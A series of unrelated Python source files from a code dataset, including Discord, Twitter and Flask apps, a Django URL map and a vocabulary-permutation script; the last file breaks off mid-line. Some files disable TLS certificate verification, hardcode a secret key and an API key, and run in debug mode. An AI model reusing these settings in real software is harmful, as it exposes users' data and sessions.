ctx.send(content=content, embed=embed)\r\n await message.add_reaction(emoji=\"\\N{WHITE HEAVY CHECK MARK}\")\r\n \r\n ### Respond to reactions ###################################################\r\n def check(reaction, user):\r\n return reaction.emoji == \"\\N{WHITE HEAVY CHECK MARK}\" \\\r\n and user != bot.user and user == ctx.author\r\n while True:\r\n ## Add emoji reaction\r\n res = await bot.wait_for('reaction_add', check=check)#, timeout=60.0)\r\n if res:\r\n new_embed = discord.Embed(title=\"Updated Embed\", description=\"You can also modify the embed\", color=0x00ff00)\r\n await message.edit(content=\"The bot can check for reactions, and do whatever you want (eg. send a new message, dm)\\nIn this case: update the message\", embed=new_embed)\r\n\r\n ## Remove emoji reaction\r\n res = await bot.wait_for('reaction_remove',check=check)\r\n if res:\r\n await message.edit(content=content, embed=embed)\r\n ############################################################################\r\n \r\n@bot.command(name='yes-number', help='Put in a number like `!yes-number 1`. Used to test passing parameters into commands')\r\nasync def yesnumber(ctx, number: int):\r\n message = await ctx.send(f\"You given a number {number}. Whether it is right is debatable.\")\r\n\r\n \r\nbot.run(TOKEN)\r\n", "repo_name": "Hackin7/Programming-Crappy-Boilerplates", "sub_path": "General Applications/Discord Bot/Python/basic.py", "file_name": "basic.py", "file_ext": "py", "file_size_in_byte": 2640, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "discord.ext.commands.Bot", "line_number": 8, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 8, "usage_type": "name"}, {"api_name": "discord.Embed", "line_number": 34, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 47, "usage_type": "call"}]} {"seq_id": "41274019608", "text": "\nfrom django.urls import path,include\nfrom . import views\nfrom django.conf.urls.static import static\nfrom django.conf import settings\n\n\n\nurlpatterns = [\n \n \n path('', views.docHome,name=\"docHome\"), \n path('DocRegister/', views.DocRegister,name=\"DocRegister\"), \n path('docLogin/', views.docLogin,name=\"docLogin\"), \n path('docDashboard/', views.docDashboard,name=\"docDashboard\"), \n path('docLogout/', views.docLogout,name=\"docLogout\"), \n path('seePatient/', views.seePatient,name=\"seePatient\"), \n path('patientConfirm/', views.patientConfirm,name=\"patientConfirm\"), \n path('patientDelete/', views.patientDelete,name=\"patientDelete\"), \n path('Docinbox/', views.Docinbox,name=\"Docinbox\"), \n path('prescriptions/', views.prescriptions,name=\"prescriptions\"), \n path('prescriptions/uploadPrescription/', views.uploadPrescription,name=\"uploadPrescription\"), \n path('myConversations/', views.myConversations,name=\"myConversations\"), \n path('Pmessage/', views.Pmessage,name=\"Pmessage\"), \n path('Pmessage/sendMssg/', views.sendMssg,name=\"sendMssg\"), \n \n \n \n]+static(settings.MEDIA_URL,document_root=settings.MEDIA_ROOT)\n", "repo_name": "kdeepak112/Pink-WebApp", "sub_path": "doctor/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1199, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 24, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 25, "usage_type": "call"}, {"api_name": "django.conf.urls.static.static", "line_number": 29, "usage_type": "call"}, {"api_name": "django.conf.settings.MEDIA_URL", "line_number": 29, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 29, "usage_type": "name"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 29, "usage_type": "attribute"}]} {"seq_id": "35142815441", "text": "from flask import Flask, render_template, request, jsonify\nimport requests\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nfrom HTMLParser import HTMLParser\n\n\n#start the app\napp = Flask(__name__)\n\n#Set certificate\ncontext = ('server.crt', 'server.key')\n\n\n#first page\n@app.route('/comment', methods=['GET'])\ndef comment():\n return render_template('index.html')\n\n\n#see comment\n@app.route('/allcomment', methods=['POST'])\ndef allcomment():\n\n charset = 'utf-8'\n\n #Data sent by html form\n new_text = request.form['textInput'].encode(charset)\n new_user_name = request.form['userName'].encode(charset)\n new_parent_id = request.form['parentId']\n new_city = request.form['city'].encode(charset)\n \n\n #Prevent HTML tags from the form\n new_text = strip_tags(new_text)\n new_user_name = strip_tags(new_user_name)\n new_city = strip_tags(new_city)\n\n\n #Verify parameters\n if (new_parent_id == None or new_parent_id == ''):\n new_parent_id = '0'\n\n\n #Calling REST\n #Request string\n request_string = 'https://localhost:8080/text/'+new_text+ \\\n '/user/'+new_user_name+'/parentid/'+new_parent_id+'/city/'+new_city\n \n #Disable warnings (internal call)\n requests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n \n #Call internal service\n response_text = requests.get(request_string, verify=False)\n \n return response_text.text\n \n\n#Class to prevent HTML tags -- Begin\nclass StripTags(HTMLParser):\n def __init__(self):\n self.reset()\n self.fed = []\n def handle_data(self, d):\n self.fed.append(d)\n def get_data(self):\n return ''.join(self.fed)\n\ndef strip_tags(html):\n s = StripTags()\n s.feed(html)\n return s.get_data()\n#Class to prevent HTML tags -- End\n\n\n\n#run app\nif __name__ == \"__main__\":\n\n app.run(host='127.0.0.1', port=5000, ssl_context=context, threaded=True, debug=True)\n", "repo_name": "adamestefani/homework_flask", "sub_path": "index.py", "file_name": "index.py", "file_ext": "py", "file_size_in_byte": 1925, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 17, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 27, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 28, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 28, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 29, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 30, "usage_type": "name"}, {"api_name": "requests.packages.urllib3.disable_warnings", "line_number": 50, "usage_type": "call"}, {"api_name": "requests.packages.urllib3.exceptions.InsecureRequestWarning", "line_number": 50, "usage_type": "argument"}, {"api_name": "requests.packages", "line_number": 50, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 53, "usage_type": "call"}, {"api_name": "HTMLParser.HTMLParser", "line_number": 59, "usage_type": "name"}]} {"seq_id": "42903782858", "text": "import pathlib\nimport json\n\nparent_dir = pathlib.Path(__file__).parent.absolute()\n\n\ndef get_colleges():\n \"\"\" From college_abbreviations.json, retrieve mapping of colleges to abbreviations as JSON. \"\"\"\n abb_dir = parent_dir / pathlib.Path(\"college_abbreviations.json\")\n with open(str(abb_dir), 'r') as file:\n abbreviations = json.load(file)\n return abbreviations\n", "repo_name": "asiddiqi18/GradeDistroTamuApp", "sub_path": "src/parser_api/college_lookup.py", "file_name": "college_lookup.py", "file_ext": "py", "file_size_in_byte": 385, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pathlib.Path", "line_number": 4, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 9, "usage_type": "call"}, {"api_name": "json.load", "line_number": 11, "usage_type": "call"}]} {"seq_id": "2022615606", "text": "\"\"\"\nUsage:\n`python permute_vocabulary.py --vocab_size 50265 --random_seed 42 --ignore_until 200`\n`python permute_vocabulary.py --vocab_file ../../config/wiki_vocab_english/vocab.json --random_seed 42 --ignore_until 200`\n\"\"\"\n\nimport argparse\nimport numpy as np\nimport json\n\ndef create_permutation(args):\n # Check if vocab file is provided\n if args.vocab_file:\n with open(args.vocab_file, 'r') as fp:\n vocabulary = json.load(fp)\n args.vocab_size = len(vocabulary)\n\n # Initialize the original and modified vocabulary\n original_vocabulary = np.array(range(args.vocab_size))\n modified_vocabulary = np.array(range(args.vocab_size))\n\n # Random seed\n np.random.seed(args.random_seed)\n\n # Randomly permute part of the array after ignore_until index\n modified_vocabulary[args.ignore_until:] = np.random.permutation(original_vocabulary[args.ignore_until:])\n\n # Create a mapping and store it as a json\n vocab_mapping = {}\n for i in range(len(original_vocabulary)):\n vocab_mapping[str(original_vocabulary[i])] = str(modified_vocabulary[i])\n\n if args.vocab_file:\n # Ensure that the token number is not permuted\n mask_index = str(vocabulary[\"\"])\n\n # Get the inverted vocabulary mapping\n inverted_vocab_mapping = {v: k for k, v in vocab_mapping.items()}\n new_mask_index = inverted_vocab_mapping[(mask_index)]\n\n # Set the index correctly\n word_swapped_with_mask = vocab_mapping[mask_index]\n vocab_mapping[mask_index] = mask_index\n vocab_mapping[new_mask_index] = word_swapped_with_mask\n\n # Save the vocabulary file\n with open('configuration_files/permuted_vocab_seed_{}_size_{}.json'.format(args.random_seed, args.vocab_size), 'w') as fp:\n json.dump(vocab_mapping, fp)\n\n\ndef main():\n parser = argparse.ArgumentParser()\n\n # Dataset Arguments\n parser.add_argument(\"--vocab_size\", type=int, default=50000, help=\"Vocabulary size of the tokenizer\")\n parser.add_argument(\"--vocab_file\", type=str, default=None, help=\"Random seed for creating a permutation\")\n parser.add_argument(\"--random_seed\", type=int, required=True, help=\"Random seed for creating a permutation\")\n parser.add_argument(\"--ignore_until\", default=200, type=int, help=\"Ignore permutation until index ignore_until\")\n\n args = parser.parse_args()\n\n create_permutation(args)\n\nif __name__ == '__main__':\n main()", "repo_name": "princeton-nlp/MultilingualAnalysis", "sub_path": "synthetic_language_files/word_based/permute_vocabulary.py", "file_name": "permute_vocabulary.py", "file_ext": "py", "file_size_in_byte": 2444, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.load", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.random.permutation", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 26, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 48, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 52, "usage_type": "call"}]} {"seq_id": "23009371379", "text": "import configparser\nimport threading\nimport tweepy\nimport time\n\nstart = time.time()\nfirst = True\n# Read config file\nconfig = configparser.ConfigParser()\nconfig.read('config.ini')\n\n#class for the formatting on terminal\nclass BC:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKCYAN = '\\033[96m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n RESET = '\\033[0m'\n\ndef process_tweet(tweet):\n # check if the tweet is a retweet\n newline = '\\n'\n if tweet.text.startswith('RT @'):\n # print(f'{BC.FAIL}[RT]{BC.OKBLUE}{BC.WARNING} {(tweet.text.replace(\"RT @\", \"\")).replace(newline, \"\")}{BC.RESET}')\n pass\n else:\n if tweet.text.startswith('@'):\n print(f'{BC.FAIL}[RE]{BC.OKBLUE}{BC.WARNING} {tweet.text.replace(newline, \"\")}')\n else:\n # check if tweet includes more than 3 newlines\n if tweet.text.count(newline) > 4:\n print(f'{BC.OKCYAN}[SP]{BC.OKBLUE}{BC.FAIL} {tweet.text.replace(newline, \"\")}')\n else:\n #fetch the tweet\n tweet = api.get_status(tweet.id)\n # check if user has more than 30 followers\n if tweet.user.followers_count > 30:\n # check if it is a retweet\n if tweet.retweeted == False:\n # check if it is a reply\n if tweet.in_reply_to_status_id == None:\n #check if it is a quote\n if tweet.is_quote_status == False:\n print(f'{BC.OKGREEN}[OK]{BC.RESET} {tweet.text.replace(newline, \"\")}')\n # like and retweet the tweet\n tweet.favorite()\n tweet.retweet()\n else:\n print(f'{BC.OKCYAN}[QT]{BC.OKBLUE}{BC.WARNING} {tweet.text.replace(newline, \"\")}')\n else:\n print(f'{BC.FAIL}[RE]{BC.OKBLUE}{BC.WARNING} {tweet.text.replace(newline, \"\")}')\n else:\n print(f'{BC.FAIL}[RT]{BC.OKBLUE}{BC.WARNING} {(tweet.text.replace(\"RT @\", \"\")).replace(newline, \"\")}{BC.RESET}')\n else:\n print(f'{BC.OKCYAN}[FL]{BC.OKBLUE}{BC.FAIL} {tweet.text.replace(newline, \"\")}')\n\n return None\n\nclass MyStream(tweepy.StreamingClient):\n def on_connect(self):\n print(f'Stream connection {BC.BOLD}{BC.OKGREEN}OK{BC.RESET}')\n print(f'Time took on setup: {BC.BOLD}{BC.OKGREEN}{round((time.time() - start) * 1000):,}ms{BC.RESET}')\n print('=============== Stream started ===============')\n\n def on_tweet(self, tweet):\n # execute the process_tweet function in a thread, so it doesn't block the stream\n threading.Thread(target=process_tweet, args=(tweet,)).start()\n\n def on_disconnect(self):\n print(f'Stream connection {BC.BOLD}{BC.FAIL}DISCONNECTED{BC.RESET}')\n stream.disconnect()\n\n def on_on_limit(self, notice):\n print(f'{BC.BOLD}{BC.WARNING}Limit notice: {notice}{BC.RESET}')\n\n# Authenticate check to twitter\nprint(f'{BC.HEADER}Trying to connect to Twitter API...{BC.RESET}')\nclient = tweepy.Client(config['CREDENTIALS']['bearer_token'], config['CREDENTIALS']['api_key'], config['CREDENTIALS']['api_secret_key'], config['CREDENTIALS']['access_token'], config['CREDENTIALS']['access_token_secret'])\nauth = tweepy.OAuth1UserHandler(config['CREDENTIALS']['api_key'], config['CREDENTIALS']['api_secret_key'], config['CREDENTIALS']['access_token'], config['CREDENTIALS']['access_token_secret'])\napi = tweepy.API(auth)\ntry:\n user = api.verify_credentials()\n print(f'Authentication {BC.OKGREEN}{BC.BOLD}OK{BC.RESET}')\n print(f'Logged in as {user.name} ({BC.OKBLUE}@{user.screen_name}{BC.RESET})')\nexcept:\n print(f'{BC.FAIL}Error during authentication.\\nCheck your CREDENTIALS in {BC.UNDERLINE}config.ini{BC.RESET}{BC.FAIL}.{BC.RESET}')\n\n# get the limit of the api\nprint(f'{BC.HEADER}Getting the limit of the API...{BC.RESET}')\nlimit = api.rate_limit_status()\nfor i in limit['resources']:\n for j in limit['resources'][i]:\n #if remaining and limit is same\n if limit['resources'][i][j]['remaining'] != limit['resources'][i][j]['limit']:\n print(f'{j}: {BC.OKGREEN}{limit[\"resources\"][i][j][\"remaining\"]}{BC.RESET}/{BC.OKCYAN}{limit[\"resources\"][i][j][\"limit\"]}{BC.RESET}')\n\n# Set rule for the stream\nlocal_rules = config['STREAM']['keyword'].split(', ')\n\nstream = MyStream(bearer_token=config['CREDENTIALS']['bearer_token'])\nprint(f'{BC.HEADER}Trying to set rules for streaming...{BC.RESET}')\nrules = stream.get_rules()\n\nserver_rules = []\nfor i in range(len(rules.data)):\n server_rules.append(rules.data[i].value)\n\nprint(f'Rules on server:{BC.OKCYAN} {f\"{BC.RESET}, {BC.OKCYAN}\".join(i for i in server_rules)}{BC.RESET}')\nprint(f'Rules set on local:{BC.OKCYAN} {f\"{BC.RESET}, {BC.OKCYAN}\".join(i for i in local_rules)}{BC.RESET}')\n\n#check if the rules are the same\nif local_rules == server_rules:\n print(f'Rule already exists, skipping...')\nelse:\n if len(rules.data) != 0:\n print(f'{BC.WARNING}Rules are different, deleting old rules and adding new rules...{BC.RESET}')\n for rule in rules.data:\n stream.delete_rules(rule.id)\n else:\n print(f'{BC.WARNING}No rules found, adding new rules...{BC.RESET}')\n\n for i in range(len(local_rules)):\n stream.add_rules(tweepy.StreamRule(local_rules[i]))\n print('Rules restored')\n\nprint(f'Setting rule for streaming {BC.OKGREEN}{BC.BOLD}OK{BC.RESET}')\nprint(f'{BC.HEADER}Trying to start streaming...{BC.RESET}')\n\n# Start the stream\nstream.filter(tweet_fields=[\"referenced_tweets\"])\n\n", "repo_name": "SuhJae/Better-RT-bot", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 5816, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "time.time", "line_number": 6, "usage_type": "call"}, {"api_name": "configparser.ConfigParser", "line_number": 9, "usage_type": "call"}, {"api_name": "tweepy.StreamingClient", "line_number": 63, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 66, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 71, "usage_type": "call"}, {"api_name": "tweepy.Client", "line_number": 82, "usage_type": "call"}, {"api_name": "tweepy.OAuth1UserHandler", "line_number": 83, "usage_type": "call"}, {"api_name": "tweepy.API", "line_number": 84, "usage_type": "call"}, {"api_name": "tweepy.StreamRule", "line_number": 127, "usage_type": "call"}]} {"seq_id": "34912885052", "text": "# -*- coding: utf-8 -*-\r\n\r\nfrom vtools.functions.shift import *\r\nfrom vtools.data.sample_series import *\r\nfrom vtools.data.vtime import hours\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nts=synthetic_tide_series()\r\nts_shifted=shift(ts, hours(2))\r\nfig=plt.figure()\r\nax0 = fig.add_subplot(111)\r\nax0.set_ylabel(\"surface (feet)\")\r\np0=ax0.plot(ts.times,ts.data,color='g',linewidth=1.0)\r\np1=ax0.plot(ts_shifted.times,ts_shifted.data,color='r',linewidth=1.0)\r\nplt.legend([\"Surface\",\"Shifted\"])\r\nplt.grid(b=True, which='major', color='0.9', linestyle='-', linewidth=0.5)\r\nfig.autofmt_xdate()\r\nplt.show()\r\n\r\n", "repo_name": "CADWRDeltaModeling/vtools", "sub_path": "vtools/examples/functions/shifting.py", "file_name": "shifting.py", "file_ext": "py", "file_size_in_byte": 592, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "7", "api": [{"api_name": "vtools.data.vtime.hours", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 11, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}]} {"seq_id": "69797775292", "text": "from flask import (\r\n Flask,\r\n request,\r\n redirect,\r\n render_template,\r\n url_for,\r\n flash,\r\n jsonify,\r\n session,\r\n)\r\nfrom flask_talisman import Talisman\r\nfrom helpers import convert_to_named_tuple\r\n\r\nfrom flask_login import (\r\n LoginManager,\r\n UserMixin,\r\n login_user,\r\n current_user,\r\n login_required,\r\n logout_user,\r\n)\r\n\r\nimport os\r\nimport json\r\nfrom datetime import date, datetime, timedelta\r\nfrom models import (\r\n db,\r\n connect_db,\r\n Bet,\r\n Event,\r\n bcrypt,\r\n User,\r\n UserBalance,\r\n LoginManager,\r\n UserMixin,\r\n login_manager,\r\n Comment,\r\n)\r\nfrom forms import RegistrationForm, LoginForm, DeleteUser, ChangePasswordForm\r\nfrom models import User\r\nfrom flask_socketio import SocketIO, emit, disconnect\r\nfrom variables import clients\r\nfrom datetime import datetime\r\nfrom apscheduler.schedulers.blocking import BlockingScheduler\r\nfrom flask_apscheduler import APScheduler\r\n\r\nimport logging\r\n\r\nlogging.getLogger(\"apscheduler\").setLevel(logging.DEBUG)\r\n\r\nlogin_manager = LoginManager()\r\nlogin_manager.login_view = \"login\"\r\n\r\n# app = Flask(__name__, instance_path='/Volumes/GoogleDrive/My Drive/Classes/SoftwareDevelopmentPracticum/better-bets/instance')\r\napp = Flask(__name__)\r\n# implementing Talisman to force SSL\r\n# Talisman(app)\r\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = os.environ.get(\r\n \"DATABASE_URL\", os.environ.get(\"SQLALCHEMY_DATABASE_URI\")\r\n)\r\napp.config[\"SECRET_KEY\"] = os.environ.get(\"SECRET_KEY\")\r\napp.config[\"FLASK_ENV\"] = os.environ.get(\"FLASK_ENV\", \"development\")\r\napp.config[\"API_KEY\"] = os.environ.get(\"API_KEY\")\r\n# app.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://postgres:123456@localhost/postgres'\r\n# app.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://postgres:040839@localhost/postgres'\r\n# app.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://postgres:heize_stan@localhost/postgres'\r\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\r\napp.config[\"SQLALCHEMY_ECHO\"] = True\r\napp.config[\"SECRET_KEY\"] = \"my secret\"\r\napp.config[\"API_KEY\"] = \"40130162\"\r\napp.debug = True\r\nlogin_manager.init_app(app)\r\n\r\nlogging.basicConfig()\r\nlogging.getLogger(\"apscheduler\").setLevel(logging.DEBUG)\r\n\r\nif app.config[\"FLASK_ENV\"] == \"development\":\r\n from tasks import run_tasks, update_reload_balance\r\n\r\n sched = APScheduler()\r\n sched.init_app(app)\r\n sched.start()\r\n\r\n @sched.task(\"interval\", id=\"main-job\", seconds=120)\r\n def timed_job():\r\n with app.app_context():\r\n run_tasks(db, app.config[\"API_KEY\"])\r\n now = datetime.now()\r\n print(f'Running scheduled task at {now.strftime(\"%H:%M:%S\")}')\r\n\r\n @sched.task(\"interval\", id=\"balance-update\", days=7)\r\n def balance_update_job():\r\n with app.app_context():\r\n update_reload_balance(db)\r\n\r\n\r\nconnect_db(app)\r\n\r\n\"\"\"If user gets a 404 response, redirects to the 404 page\"\"\"\r\n@app.errorhandler(404)\r\n# inbuilt function which takes error as parameter\r\ndef not_found(e):\r\n # defining function\r\n return render_template(\"404.html\")\r\n\r\ndef stop():\r\n sched.shutdown()\r\n\r\n@login_manager.user_loader\r\ndef load_user(userid):\r\n \"\"\"Returns user record from database\"\"\"\r\n user_id = int(userid)\r\n return User.query.get(user_id)\r\n\r\n@app.route(\"/\", methods=['GET', 'POST'])\r\ndef render_home_page():\r\n \"\"\"Render home page with 10 upcoming events, recent bets\"\"\"\r\n query = \"\"\r\n month_forward = datetime.today() + timedelta(days=30)\r\n\r\n # wrap search logic in if statement and get post data, look for post key\r\n if request.method == 'POST':\r\n search = request.form.get('q')\r\n events = (\r\n Event.query.filter(\r\n Event.title.ilike(f\"%{search}%\"),\r\n Event.date >= date.today(),\r\n Event.resolved == False,\r\n Event.date <= month_forward,\r\n )\r\n .order_by(Event.date.asc())\r\n .limit(10)\r\n .all()\r\n )\r\n else:\r\n events = (\r\n Event.query.filter(\r\n Event.date >= date.today(),\r\n Event.resolved == False,\r\n Event.date <= month_forward,\r\n )\r\n .order_by(Event.date.asc())\r\n .limit(10)\r\n .all()\r\n )\r\n\r\n # if logged in, show user their 10 most recent bets\r\n last_30_days = datetime.today() - timedelta(days=30)\r\n bets = (\r\n None\r\n if current_user.is_authenticated is False\r\n else Bet.query.filter(\r\n Bet.event_date >= last_30_days, Bet.user_id == current_user.id\r\n ).limit(10)\r\n )\r\n if bets:\r\n bets_events = []\r\n for bet in bets:\r\n bets_events.append(\r\n {\r\n \"event\": (Event.query.filter(Event.id == bet.event)).first(),\r\n \"bet\": bet,\r\n }\r\n )\r\n\r\n else:\r\n bets_events = None\r\n # add query string\r\n return render_template(\"home.html\", events=events, bets_events=bets_events, query=query)\r\n\r\n@app.route(\"/register\", methods=[\"GET\", \"POST\"])\r\ndef register():\r\n \"\"\"Handles get and post requests to user registration route\"\"\"\r\n form = RegistrationForm()\r\n if form.validate_on_submit():\r\n hashed_password = bcrypt.generate_password_hash(form.password.data).decode(\r\n \"utf-8\"\r\n )\r\n user = User(\r\n first_name=form.first_name.data,\r\n last_name=form.last_name.data,\r\n email=form.email.data,\r\n hashed_password=hashed_password,\r\n )\r\n db.session.add(user)\r\n db.session.commit()\r\n flash(\r\n f\"Account created for {form.email.data}! 🙌🏼 You can now log in.\", \"success\"\r\n )\r\n\r\n # create UserBalance record in DB\r\n res = db.session.execute(\r\n \"SELECT * from users WHERE id = (SELECT max(id) FROM users)\"\r\n )\r\n new_id = None\r\n for r in res:\r\n user_id = r[0]\r\n user_balance = UserBalance(user_id=user_id)\r\n\r\n db.session.add(user_balance)\r\n db.session.commit()\r\n return redirect(url_for(\"login\"))\r\n return render_template(\"register.html\", title=\"Register\", form=form)\r\n\r\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\r\ndef login():\r\n \"\"\"Handles get and post requests to user login route\"\"\"\r\n form = LoginForm()\r\n if form.validate_on_submit():\r\n user = User.query.filter_by(email=form.email.data).first()\r\n if user and bcrypt.check_password_hash(\r\n user.hashed_password, form.password.data\r\n ):\r\n login_user(\r\n user, remember=False\r\n ) # by default, the user is logged out if browser is closed\r\n flash(f\"Hi {user.first_name}! You are logged in.\", \"success\")\r\n return redirect(url_for(\"render_home_page\"))\r\n else:\r\n flash(f\"Login unsuccessful. Please check email and password.\", \"danger\")\r\n return render_template(\"login.html\", title=\"Login\", form=form)\r\n\r\n@app.route(\"/logout\")\r\n@login_required\r\ndef logout():\r\n \"\"\"Handles get request to logout route\"\"\"\r\n logout_user()\r\n flash(\"You've logged out.\", \"primary\")\r\n return redirect(url_for(\"render_home_page\"))\r\n\r\n@app.route(\"/account\", methods=[\"GET\", \"POST\"])\r\n@login_required\r\ndef account():\r\n \"\"\"Gets user balance, bet history, win/loss chart, and displays account settings page. Also handles post requests for account deletion\"\"\"\r\n # get user balance\r\n user_balance = convert_to_named_tuple(\r\n db.session.execute(\r\n \"SELECT balance FROM user_balance WHERE user_id = :user_id\",\r\n {\"user_id\": current_user.id},\r\n )\r\n )[0].balance\r\n # get bet history\r\n bets = (\r\n None\r\n if current_user.is_authenticated is False\r\n else Bet.query.filter(Bet.user_id == current_user.id).all()\r\n )\r\n\r\n bets_events = []\r\n for bet in bets:\r\n bets_events.append(\r\n {\r\n \"event\": (Event.query.filter(Event.id == bet.event)).first(),\r\n \"bet\": bet,\r\n }\r\n )\r\n # if user clicks on the Delete Account button:\r\n form = DeleteUser()\r\n if form.validate_on_submit():\r\n email = current_user.email\r\n # delete user_balance row, any existing bets, then delete user from user table\r\n db.session.execute(\r\n \"DELETE FROM user_balance WHERE user_id = :user_id\",\r\n {\"user_id\": current_user.id},\r\n )\r\n db.session.execute(\r\n \"DELETE FROM bet WHERE user_id = :user_id\",\r\n {\"user_id\": current_user.id},\r\n )\r\n db.session.delete(current_user)\r\n db.session.commit()\r\n flash(f\"Account deleted for {email}\", \"primary\")\r\n return redirect(url_for(\"render_home_page\"))\r\n return render_template(\r\n \"account.html\",\r\n title=\"Account\",\r\n user_balance=user_balance,\r\n form=form,\r\n bets_events=bets_events,\r\n )\r\n\r\n\r\n@app.route(\"/account/get-account-history\")\r\n@login_required\r\ndef get_account_history():\r\n # called from the FE by JS - queries database for user's win/loss stats\r\n mapped_stats = {\"win\": 0, \"loss\": 0}\r\n db_res = convert_to_named_tuple(\r\n db.session.execute(\r\n \"SELECT final_margin FROM bet WHERE user_id = :id\", {\"id\": current_user.id}\r\n )\r\n )\r\n for res in db_res:\r\n if res.final_margin > 0:\r\n mapped_stats[\"win\"] = mapped_stats.get(\"win\") + res.final_margin\r\n else:\r\n mapped_stats[\"loss\"] = mapped_stats.get(\"loss\") + res.final_margin\r\n return json.dumps(mapped_stats)\r\n\r\n@app.route(\"/change-password\", methods=[\"GET\", \"POST\"])\r\n@login_required\r\ndef change_password():\r\n \"\"\"Handles get and post requests to change password route\"\"\"\r\n form = ChangePasswordForm()\r\n if form.validate_on_submit():\r\n new_hashed_password = bcrypt.generate_password_hash(\r\n form.new_password.data\r\n ).decode(\"utf-8\")\r\n if bcrypt.check_password_hash(\r\n current_user.hashed_password, form.old_password.data\r\n ):\r\n db.session.execute(\r\n \"UPDATE users SET hashed_password = :new_hashed_password WHERE id = :user_id\",\r\n {\r\n \"user_id\": current_user.id,\r\n \"new_hashed_password\": new_hashed_password,\r\n },\r\n )\r\n db.session.commit()\r\n flash(f\"Password successfully changed\", 'success')\r\n return redirect(url_for(\"account\"))\r\n else:\r\n flash(\r\n f\"Password change unsuccessful. Please check your password and try again.\",\r\n \"danger\",\r\n )\r\n return render_template(\"change-password.html\", title=\"Change Password\", form=form)\r\n\r\n\r\n@app.route(\"/search\")\r\ndef search():\r\n \"\"\"For use with JS event listener to filter events on home page\"\"\"\r\n search = request.args[\"q\"]\r\n completed = request.args[\"completed\"]\r\n if completed == \"completed\":\r\n resolved = True\r\n else:\r\n resolved = False\r\n last_30_days = datetime.today() - timedelta(days=30)\r\n month_forward = datetime.today() + timedelta(days=30)\r\n\r\n search_result = (\r\n Event.query.filter(\r\n Event.title.ilike(f\"%{search}%\"),\r\n Event.date > datetime.today() - 